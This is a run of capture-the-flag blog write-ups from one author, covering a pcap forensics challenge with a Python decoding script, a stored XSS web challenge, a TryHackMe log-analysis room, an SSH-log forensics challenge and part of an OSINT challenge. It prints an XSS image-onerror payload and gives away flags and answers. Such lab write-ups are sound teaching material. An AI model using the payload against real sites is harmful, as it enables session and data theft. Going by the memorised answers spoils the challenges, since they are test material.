<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759543008262/d55d1ec0-2948-4fdc-b68b-85cebbe29fc6.png" alt class="image--center mx-auto" /></p>
<p>Let’s follow any one request into TCP stream as it looks like some data is present there</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759543087033/52931781-64de-4b5f-9ed7-01af9d1cb0a7.png" alt class="image--center mx-auto" /></p>
<p>We can see a long list of strings like this:</p>
<ul>
<li><p><strong>So There are two ways to solve this challenge :</strong></p>
</li>
<li><p><strong>Manually</strong></p>
</li>
<li><p><strong>Scripting</strong></p>
</li>
</ul>
<h2 id="heading-manual-approach">Manual Approach</h2>
<hr />
<p>So First Save any request TCP Stream with Save as button</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759543355169/7a081f09-1aa7-43c5-b837-89615ee546f8.png" alt class="image--center mx-auto" /></p>
<p>Now I used Both Notepad And VS Code to remove the unnecessary part using Find &amp; Replace functionality</p>
<p>So Open Notepad and press <strong>Ctrl + H</strong> to open <strong>Replace</strong> functionality</p>
<p>Now Select the unnecessary element and replace them all with space like shown below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759543697025/62b6a43b-c180-4969-850f-84e5500e5e61.png" alt class="image--center mx-auto" /></p>
<p>So after replacing everything unnecessary and just leaving the strings you will get the final results like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759543866597/023c20a5-5c07-4ef8-9ca0-53a00e64ba25.png" alt class="image--center mx-auto" /></p>
<p>Now Copy all of them and go to this website <a target="_blank" href="https://www.browserling.com/tools/remove-all-whitespace">https://www.browserling.com/tools/remove-all-whitespace</a></p>
<p>And Paste All Your Content In This And Click On Remove Spaces Button</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759543992933/e4da652d-18b1-4815-a90a-63156b65f21c.png" alt class="image--center mx-auto" /></p>
<p>Now, Press copy to clipboard to copy the output and Head to <a target="_blank" href="https://gchq.github.io/CyberChef"><strong>CyberChef</strong></a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759544131639/044edb90-ebfb-4f21-bb4d-d5304a61549d.png" alt class="image--center mx-auto" /></p>
<p>Either Press that magic wand or just add base64 decode recipe</p>
<p>Now Scroll the Output Till You Get this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759544259846/bebfc88c-2b46-4c57-b44c-4cb432140deb.png" alt class="image--center mx-auto" /></p>
<p>Copy The Last String from that link which is</p>
<pre><code class="lang-apache"><span class="hljs-attribute">SFRCe2NodW5rNV80bmRfdWRmX2Ywcl9icjM0a2Y0NTd9</span>
</code></pre>
<p>Now Again Paste It Into CyberChef And Base64 decode it and you will get the flag</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759544391778/0d4aedc9-4c69-44ad-9a0a-30e857de2e56.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-scripting-automation">SCRIPTING / AUTOMATION</h2>
<hr />
<p>So In scripting you have to automate all this manual work in a single script with python So Below is the script that will do all this work and give you the flag</p>
<p><strong>NOTE : Be Sure To Put The Script And Capture.pcap File In Same Directory</strong></p>
<pre><code class="lang-apache"> <span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment"># pcap_to_flag.py</span>
<span class="hljs-attribute">import</span> struct, socket, re, base<span class="hljs-number">64</span>

<span class="hljs-attribute">PCAP</span> = 'capture.pcap'
<span class="hljs-attribute">OUT_COLLECTED</span> = 'collected_vals.txt'

<span class="hljs-attribute">with</span> open(PCAP, 'rb') as f:
    <span class="hljs-attribute">data</span> = f.read()

<span class="hljs-comment"># parse pcap global header (little-endian magic 0xa1b2c3d4)</span>
<span class="hljs-attribute">off</span> = <span class="hljs-number">0</span>
<span class="hljs-attribute">if</span> len(data) &lt; <span class="hljs-number">24</span>:
    <span class="hljs-attribute">raise</span> SystemExit(<span class="hljs-string">"pcap too small"</span>)
<span class="hljs-attribute">magic</span>,ver_major,ver_minor,thiszone,sigfigs,snaplen,network = struct.unpack('&lt;IHHIIII', data[<span class="hljs-literal">off</span>:<span class="hljs-literal">off</span>+<span class="hljs-number">24</span>])
<span class="hljs-attribute">off</span> += <span class="hljs-number">24</span>

<span class="hljs-attribute">streams</span> = {}
<span class="hljs-attribute">pkt_count</span> = <span class="hljs-number">0</span>
<span class="hljs-attribute">while</span> <span class="hljs-literal">off</span> + <span class="hljs-number">16</span> &lt;= len(data):
    <span class="hljs-attribute">ts_sec</span>,ts_usec,incl_len,orig_len = struct.unpack('&lt;IIII', data[<span class="hljs-literal">off</span>:<span class="hljs-literal">off</span>+<span class="hljs-number">16</span>])
    <span class="hljs-attribute">off</span> += <span class="hljs-number">16</span>
    <span class="hljs-attribute">pkt</span> = data[<span class="hljs-literal">off</span>: <span class="hljs-literal">off</span>+incl_len]
    <span class="hljs-attribute">off</span> += incl_len
    <span class="hljs-attribute">pkt_count</span> += <span class="hljs-number">1</span>
    <span class="hljs-attribute">if</span> len(pkt) &lt; <span class="hljs-number">14</span>: continue
    <span class="hljs-attribute">eth_type</span> = struct.unpack('!H', pkt[<span class="hljs-number">12</span>:<span class="hljs-number">14</span>])[<span class="hljs-number">0</span>]
    <span class="hljs-attribute">if</span> eth_type != <span class="hljs-number">0</span>x<span class="hljs-number">0800</span>: continue
    <span class="hljs-attribute">ip</span> = pkt[<span class="hljs-number">14</span>:]
    <span class="hljs-attribute">if</span> len(ip) &lt; <span class="hljs-number">20</span>: continue
    <span class="hljs-attribute">ihl</span> = ip[<span class="hljs-number">0</span>] &amp; <span class="hljs-number">0</span>x<span class="hljs-number">0</span>F
    <span class="hljs-attribute">ip_header_len</span> = ihl*<span class="hljs-number">4</span>
    <span class="hljs-attribute">proto</span> = ip[<span class="hljs-number">9</span>]
    <span class="hljs-attribute">src</span> = socket.inet_ntoa(ip[<span class="hljs-number">12</span>:<span class="hljs-number">16</span>])
    <span class="hljs-attribute">dst</span> = socket.inet_ntoa(ip[<span class="hljs-number">16</span>:<span class="hljs-number">20</span>])
    <span class="hljs-attribute">if</span> proto != <span class="hljs-number">6</span>: continue
    <span class="hljs-attribute">tcp</span> = ip[ip_header_len:]
    <span class="hljs-attribute">if</span> len(tcp) &lt; <span class="hljs-number">20</span>: continue
    <span class="hljs-attribute">srcp</span> = struct.unpack('!H', tcp[<span class="hljs-number">0</span>:<span class="hljs-number">2</span>])[<span class="hljs-number">0</span>]
    <span class="hljs-attribute">dstp</span> = struct.unpack('!H', tcp[<span class="hljs-number">2</span>:<span class="hljs-number">4</span>])[<span class="hljs-number">0</span>]
    <span class="hljs-comment"># skip the TCP header (data offset)</span>
    <span class="hljs-attribute">data_offset</span> = (tcp[<span class="hljs-number">12</span>] &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">4</span>
    <span class="hljs-attribute">payload</span> = tcp[data_offset:]
    <span class="hljs-attribute">if</span> not payload: continue
    <span class="hljs-comment"># only capture flows where either src or dst port is 3306</span>
    <span class="hljs-attribute">if</span> srcp == <span class="hljs-number">3306</span> or dstp == <span class="hljs-number">3306</span>:
        <span class="hljs-attribute">key</span> = (src, srcp, dst, dstp)
        <span class="hljs-attribute">streams</span>.setdefault(key, bytearray()).extend(payload)

<span class="hljs-comment"># Normalize bidirectional flows by pairing tuples</span>
<span class="hljs-attribute">norm</span> = {}
<span class="hljs-attribute">for</span> (s,sp,d,dp),payload in streams.items():
    <span class="hljs-comment"># canonicalize order</span>
    <span class="hljs-attribute">k</span> = tuple(sorted([(s,sp),(d,dp)]))
    <span class="hljs-attribute">norm</span>.setdefault(k, bytearray()).extend(payload)

<span class="hljs-comment"># concatenate all normalized streams (or pick the biggest one)</span>
<span class="hljs-attribute">all_payload</span> = b''
<span class="hljs-attribute">for</span> k,p in norm.items():
    <span class="hljs-attribute">all_payload</span> += bytes(p)

<span class="hljs-attribute">text</span> = all_payload.decode('latin<span class="hljs-number">1</span>', errors='ignore')

<span class="hljs-comment"># extract base64 fragments inside VALUES('...') in order</span>
<span class="hljs-attribute">parts</span> = re.findall(r<span class="hljs-string">"VALUES\s*\(\s*'([A-Za-z0-9+/=_\-]{8,})'\s*\)"</span>, text, flags=re.IGNORECASE)
<span class="hljs-attribute">with</span> open(OUT_COLLECTED,'w') as f:
    <span class="hljs-attribute">for</span> p in parts:
        <span class="hljs-attribute">f</span>.write(p + '\n')

<span class="hljs-attribute">print</span>(<span class="hljs-string">"Collected"</span>, len(parts), <span class="hljs-string">"fragments -&gt;"</span>, OUT_COLLECTED)

<span class="hljs-comment"># decode fragments</span>
<span class="hljs-attribute">decoded</span> =<span class="hljs-meta"> []</span>
<span class="hljs-attribute">for</span> p in parts:
    <span class="hljs-attribute">clean</span> = re.sub(r'[^A-Za-z<span class="hljs-number">0</span>-<span class="hljs-number">9</span>+/=_\-]', '', p).replace('-', '+').replace('_','/')
    <span class="hljs-attribute">clean</span> += '=' * ((<span class="hljs-number">4</span> - len(clean)%<span class="hljs-number">4</span>) % <span class="hljs-number">4</span>)
    <span class="hljs-attribute">try</span>:
        <span class="hljs-attribute">decoded</span>.append(base<span class="hljs-number">64</span>.b<span class="hljs-number">64</span>decode(clean))
    <span class="hljs-attribute">except</span>:
        <span class="hljs-attribute">decoded</span>.append(b'')

<span class="hljs-attribute">big</span> = b''.join(decoded)
<span class="hljs-attribute">txt</span> = big.decode('latin<span class="hljs-number">1</span>', errors='ignore')

<span class="hljs-comment"># find and display curl and token</span>
<span class="hljs-attribute">m</span> = re.search(r'packages/callback/([A-Za-z<span class="hljs-number">0</span>-<span class="hljs-number">9</span>\-_+=/]{<span class="hljs-number">8</span>,<span class="hljs-number">300</span>})', txt)
<span class="hljs-attribute">if</span> m:
    <span class="hljs-attribute">tok</span> = m.group(<span class="hljs-number">1</span>)
    <span class="hljs-attribute">print</span>(<span class="hljs-string">"Found token:"</span>, tok)
    <span class="hljs-attribute">t</span> = tok.replace('-', '+').replace('_','/')
    <span class="hljs-attribute">t</span> += '=' * ((<span class="hljs-number">4</span> - len(t)%<span class="hljs-number">4</span>)%<span class="hljs-number">4</span>)
    <span class="hljs-attribute">try</span>:
        <span class="hljs-attribute">print</span>(<span class="hljs-string">"Decoded token:"</span>, base<span class="hljs-number">64</span>.b<span class="hljs-number">64</span>decode(t).decode('utf-<span class="hljs-number">8</span>', errors='ignore'))
    <span class="hljs-attribute">except</span> Exception as e:
        <span class="hljs-attribute">print</span>(<span class="hljs-string">"Failed to decode token:"</span>, e)

<span class="hljs-comment"># fallback: look for HTB{...}</span>
<span class="hljs-attribute">m2</span> = re.search(r'HTB\{.*?\}', txt, re.DOTALL)
<span class="hljs-attribute">if</span> m<span class="hljs-number">2</span>:
    <span class="hljs-attribute">print</span>(<span class="hljs-string">"Found HTB flag:"</span>, m<span class="hljs-number">2</span>.group(<span class="hljs-number">0</span>))
</code></pre>
<p>which will give you the flag</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759544707134/8a43fb26-6b0a-418d-a6ce-1ecb7f047712.png" alt /></p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759544791899/35057f9d-48db-44f1-b827-6f281123deac.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[SpookTastic]]></title><description><![CDATA[OVERVIEW


So we were given instance and a file to download so let’s do it and checkout the website and the content of the file we downloaded

Since most of the buttons are just not useful we see a newsletter functionality

Its accepting the mail but...]]></description><link>https://blog.reapsec.com/spooktastic-htb</link><guid isPermaLink="true">https://blog.reapsec.com/spooktastic-htb</guid><category><![CDATA[spooktastic htb]]></category><category><![CDATA[spoktastic]]></category><category><![CDATA[HTB Machines]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[writeups]]></category><category><![CDATA[web]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[htb challenges]]></category><category><![CDATA[#walkthrough]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Fri, 03 Oct 2025 16:27:05 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1759505698957/a5169057-41d9-4f8c-a40f-96e33e944d9e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759505751672/d4fa5fa6-376c-49e8-bfd2-61bdde92b47c.png" alt class="image--center mx-auto" /></p>
<p>So we were given instance and a file to download so let’s do it and checkout the website and the content of the file we downloaded</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759505913528/c79014fa-f93a-420f-8119-f7a131fb913a.png" alt class="image--center mx-auto" /></p>
<p>Since most of the buttons are just not useful we see a newsletter functionality</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759507206404/0c1ec991-5d21-4bab-8c1c-ae30d0b1478e.png" alt class="image--center mx-auto" /></p>
<p>Its accepting the mail but it is the only thing that is working in this site so let’s check out the contents of the downloaded file:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759507873277/d5473621-6d72-45f4-8e5b-1bfffca51c2e.png" alt class="image--center mx-auto" /></p>
<p>In <strong>bot.html</strong> file There is a <strong>Stored Cross-Site Scripting (XSS)</strong> vulnerability. A user-supplied data is stored and later rendered unescaped into HTML with <code>|safe</code>, enabling persistent script execution for any user/bot that views the page</p>
<p>The template uses <code>{{ email|safe }}</code>, which tells Jinja2 to render the value without escaping HTML. That allows injected HTML/JS to be preserved and executed by any browser that renders the template.</p>
<p>A headless browser (bot) that visits the page and captures <code>alert()</code> output.</p>
<p>So Let’s try the below XSS payload to trigger this alert output through newsletter functionality.</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">x</span> <span class="hljs-attr">onerror</span>=<span class="hljs-string">"alert(document.body.innerText)"</span>&gt;</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759508297740/b4c5e02f-2192-4835-b3b1-b25ebd80db58.png" alt class="image--center mx-auto" /></p>
<p>Now let’s check it by submitting it:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759508380186/d5d88938-e0a2-49bd-b2a4-b720ca275575.png" alt class="image--center mx-auto" /></p>
<p>Its got successfully executed</p>
<p>So now again click on ok button and it will result in flag because When this payload was stored as an email entry and the bot later visited the <code>/bot</code> view, the image triggered an <code>onerror</code> event and executed the <code>alert(...)</code>. The below alert box shown by the bot contained the challenge flag:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759508675722/49075229-ecc1-4df9-af76-4f281a9c6da0.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759508732636/720a5855-9e46-49d2-a3b6-d6caa60f193a.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Juicy Details Room on TryHackMe: Complete Walkthrough and Guide]]></title><description><![CDATA[LINK - https://tryhackme.com/room/juicydetails

So for this challenge we have given Download Files So let’s download those

Now We are asked to answer the question based on the logs files we got so
Ques 1) What tools did the attacker use? (Order by t...]]></description><link>https://blog.reapsec.com/juicy-details-room-on-tryhackme-complete-walkthrough-and-guide</link><guid isPermaLink="true">https://blog.reapsec.com/juicy-details-room-on-tryhackme-complete-walkthrough-and-guide</guid><category><![CDATA[juicy details]]></category><category><![CDATA[juicy details tryhackme]]></category><category><![CDATA[thm]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><category><![CDATA[#walkthrough]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[tryhackme]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Wed, 01 Oct 2025 12:40:58 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1759318254914/4ed9a05e-afc3-44a9-9571-601ed55c7f51.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<p><strong>LINK -</strong> <a target="_blank" href="https://tryhackme.com/room/juicydetails">https://tryhackme.com/room/juicydetails</a></p>
<hr />
<p>So for this challenge we have given Download Files So let’s download those</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759318437197/d3c71dcb-29be-48da-b381-eb6240dd93bf.png" alt class="image--center mx-auto" /></p>
<p>Now We are asked to answer the question based on the logs files we got so</p>
<p><strong>Ques 1) What tools did the attacker use? (Order by the occurrence in the log)?</strong> Given Hint: Look at access.log. User-Agent headers are helpful</p>
<p>So let’s inspect the <strong>access.log</strong> file to see the lines of tool attacker used line by line</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759318962604/8b4bec63-489b-4483-8a04-ae223befbbbf.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759318979427/8dd8b19d-880e-424e-860b-f427c3160761.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759318988754/cf774673-d217-4f91-816c-f9f07ef15be2.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759319001169/245ac806-94ff-4974-b681-ade5bbe5b3d3.png" alt class="image--center mx-auto" /></p>
<p>So as you can see we found all the tools used by occurrences which is <strong><mark>nmap,hydra,sqlmap,curl,feroxbuster</mark></strong></p>
<p><strong>Ques 2) What endpoint was vulnerable to a brute-force attack?</strong></p>
<p>So as we saw above in <strong>access.log</strong> that Hydra is used so let’s see the endpoint in which it was brute forcing</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759319207065/e8e75797-bd80-4c31-a3d5-ab20b2dd242e.png" alt class="image--center mx-auto" /></p>
<p>So we can see the endpoint was <strong><mark>/rest/user/login</mark></strong></p>
<p><strong>Ques 3) What endpoint was vulnerable to SQL injection?</strong></p>
<p>Now in the 1st Ques we saw that it is using sqlmap tool to inject sql payloads thus performing sql injecting attack so let’s see what endpoint was it</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759319370916/69541434-463e-4a35-b979-429137ecd887.png" alt class="image--center mx-auto" /></p>
<p>So as we can see it was <strong><mark>/rest/products/search</mark></strong></p>
<p><strong>Ques 4) What parameter was used for the SQL injection?</strong></p>
<p>So in the above ques we can actually see the parameter used which is <strong><mark>q</mark></strong></p>
<p><strong>Ques 5) What endpoint did the attacker try to use to retrieve files? (Include the /) ?</strong></p>
<p>So now let’s see the access.log to find what endpoint does the attacker use to retrieve the files</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759319611631/2281a625-2dca-4327-9ede-8d0fb6d6451f.png" alt class="image--center mx-auto" /></p>
<p>As obvious it is <strong><mark>/ftp</mark></strong> which is used to retrieve the files</p>
<p><strong>Ques 6) What section of the website did the attacker use to scrape user email addresses? Hint:</strong> Where can customers usually comment on a shopping website?</p>
<p>So I thought about reviews obviously now search up the term review to see what king of review is there</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759319767474/d3c99a61-491c-4675-871e-fac659daee93.png" alt class="image--center mx-auto" /></p>
<p>As we guessed it is <strong><mark>product reviews</mark></strong> which is the answer of this question</p>
<p><strong>Ques 7) Was their brute-force attack successful? If so, what is the timestamp of the successful login? (Yay/Nay, 11/Apr/2021:09:xx:xx +0000)</strong></p>
<p>To see the brute force got successful or not we have to see the logs of hydra tool that which one result in 200 status code</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759321667800/d08c4328-925f-4fcc-be6e-9df63f1a7f42.png" alt class="image--center mx-auto" /></p>
<p>We found it which was <strong><mark>Yay, 11/Apr/2021:09:16:31 +0000</mark></strong></p>
<p><strong>Ques 8) What user information was the attacker able to retrieve from the endpoint vulnerable to SQL injection?</strong></p>
<p>Let’s check the sqlmap results in the access.log file</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759321797592/a05850fa-6e8e-4ddb-b133-1a8c9bf8f757.png" alt class="image--center mx-auto" /></p>
<p>We found it which was <strong><mark>email, password</mark></strong></p>
<p><strong>Ques 9) What files did they try to download from the vulnerable endpoint? (endpoint from the previous task, Ques 5)</strong></p>
<p>Lets check the FTP service logs in <strong>vsftpd.log</strong> file as its about files</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759321966605/580f83f2-e672-45cf-80b4-ab18e940cc6d.png" alt class="image--center mx-auto" /></p>
<p>Here we go we found the files name which is <strong><mark>coupons_2013. md.bak, www-data.bak </mark> <em>(Please don’t copy the name exactly as given in this ques so type it yourself as given in image or just trim the space in the given answer because it was referring to link that’s why i added space after 2013. )</em></strong></p>
<p><strong>Ques 10) What service and account name were used to retrieve files from the previous question? (service, username)</strong></p>
<p>Again its about files so we will look the vsftpd.log file again to find the username since service would be obviously ftp</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759322087598/ee60c809-b6ba-4815-b818-b5f1aba04a86.png" alt class="image--center mx-auto" /></p>
<p>Yep we found it , it is anonymous so the answer would be <strong><mark>ftp,anonymous</mark></strong></p>
<p><strong>Ques 11) What service and username were used to gain shell access to the server? (service, username)</strong></p>
<p>Now since its about authentication so let’s check <strong>auth.log</strong> file to find the service and username</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759322291946/5d0d7a5a-1ac9-4907-b697-4162e01ece88.png" alt class="image--center mx-auto" /></p>
<p>Well, we came to know that the service and username was <strong><mark>ssh, www-data</mark></strong></p>
<h1 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759322383315/b87e2209-5182-4f9a-ab3e-10dc77f73e92.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p>THANK YOU FOR READING!!</p>
]]></content:encoded></item><item><title><![CDATA[An Unusual Sighting]]></title><description><![CDATA[OVERVIEW


Start the Instance and Download the given files . We were given two files sshd and bash_history
Now First Let’s see what is there in the instance

So We were asked a questionQues 1) What is the IP Address and Port of the SSH Server (IP:POR...]]></description><link>https://blog.reapsec.com/an-unusual-sighting-htb</link><guid isPermaLink="true">https://blog.reapsec.com/an-unusual-sighting-htb</guid><category><![CDATA[an unusual sighting ]]></category><category><![CDATA[an unusual sighting htb]]></category><category><![CDATA[HTB walkthrough]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[hackthebox machine]]></category><category><![CDATA[htb challenges]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[forensics]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Write Up]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Wed, 01 Oct 2025 06:31:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1759299107471/b61dd57f-3757-47a6-8f97-76cc567416b2.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759299128997/a22cfa7e-f518-4c92-9b0d-917d5b751946.png" alt class="image--center mx-auto" /></p>
<p>Start the Instance and Download the given files . We were given two files <strong>sshd and bash_history</strong></p>
<p>Now First Let’s see what is there in the instance</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759299324958/0f8bc445-6543-47be-b656-865917f8e89d.png" alt class="image--center mx-auto" /></p>
<p>So We were asked a question<br />Ques 1) What is the IP Address and Port of the SSH Server (IP:PORT) ?</p>
<p>Let’s search it up in <strong>sshd</strong> file</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759299420637/fdf009e8-58b5-4a4e-b93c-ff788ef9a853.png" alt class="image--center mx-auto" /></p>
<p>There we go we can see the IP and port is given in the logs which is <strong>100.107.36.130:2221</strong></p>
<p>Now Second question is asked</p>
<p>Ques 2) What time is the first successful Login ?</p>
<p>Again Let’s see the <strong>sshd logs</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759299657414/9e27c180-0587-4350-bca2-b39773856f91.png" alt class="image--center mx-auto" /></p>
<p>And we found it which is <strong>2024-02-13 11:29:50</strong></p>
<p>Next Question is</p>
<p>Ques 3) What is the time of the unusual Login ?</p>
<p>Now Do you remember we were given a specific operational time in description of challenge</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759299747283/8e802243-91ad-4a79-92d6-00203376f0d4.png" alt class="image--center mx-auto" /></p>
<p>So let’s search about the time after or before this operational time</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759299781812/aa39c688-66c4-4de7-8ffb-365a972a9548.png" alt class="image--center mx-auto" /></p>
<p>Yep we found it which is <strong>2024-02-19 04:00:14</strong></p>
<p>Now next question</p>
<p>Ques 4) What is the Fingerprint of the attacker's public key ?</p>
<p>Now lets search it in the attacker time slot in sshd logs</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759299859742/09517c3a-bd14-4c0f-9b09-95b7b157a23d.png" alt class="image--center mx-auto" /></p>
<p>And Here We go got the finger print which is <strong>OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4</strong></p>
<p>Move on to the next question</p>
<p>Ques 5) What is the first command the attacker executed after logging in ?</p>
<p>To see it we will now search up the attacker time slot in <strong>bash_history</strong> file</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759299948970/cf127857-b204-4884-85c8-82fa0a0d5ccd.png" alt class="image--center mx-auto" /></p>
<p>And we found the command which is <strong>whoami</strong></p>
<p>Now next question</p>
<p>Ques 6) What is the final command the attacker executed before logging out ?</p>
<p>Similarly as above question let’s search the bash history file</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759300040801/cc8fbb2f-2881-41d1-941a-7d51a8632767.png" alt class="image--center mx-auto" /></p>
<p>And it is <strong>./setup</strong></p>
<p><strong>Now submitting all these answers one by one in the shell will gives you the flag</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759300116352/e285dd30-ceec-4f2d-934d-b5129227ea51.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759300158104/fe2898e7-d67e-470b-905f-37570893e164.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Money Flowz]]></title><description><![CDATA[OVERVIEW


As you can see we don’t have any files to download nor their is any instance but in description we can see there is a name Frank Vitalik
So Lets Search Up his name and to narrow our search i used a little google dorking.
intext:”Frank Vita...]]></description><link>https://blog.reapsec.com/money-flowz-htb</link><guid isPermaLink="true">https://blog.reapsec.com/money-flowz-htb</guid><category><![CDATA[money flowz htb]]></category><category><![CDATA[money flowz latest]]></category><category><![CDATA[money flowz]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[OSINT]]></category><category><![CDATA[challenge]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[hack-the-box]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Mon, 29 Sep 2025 09:06:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1759135099344/5e65e6fa-2b5f-4c3d-bfcd-92e77b7c2be7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759135123521/7207a2ba-218f-4577-ad4d-d82cce7b29d6.png" alt class="image--center mx-auto" /></p>
<p>As you can see we don’t have any files to download nor their is any instance but in description we can see there is a name <strong><em>Frank Vitalik</em></strong></p>
<p>So Lets Search Up his name and to narrow our search i used a little google dorking.</p>
<p><strong>intext:”Frank Vitalik”</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759135312980/77d8aa4b-6121-4c15-be4e-18bcf51f8ca9.png" alt class="image--center mx-auto" /></p>
<p>And Here wo got a reddit account with same username so lets check it out.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759135346447/b430fe78-3b30-4962-825d-48459c035951.png" alt class="image--center mx-auto" /></p>
<p>Here scroll below and you will find a link related to freecoinz so let’s check it out too:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759135429645/0c0b6c63-349e-48b3-8cdc-149d9dd27d11.png" alt class="image--center mx-auto" /></p>
<p>Here we can see there is a wallet address and below that we came to know about Ropsten net! coin</p>
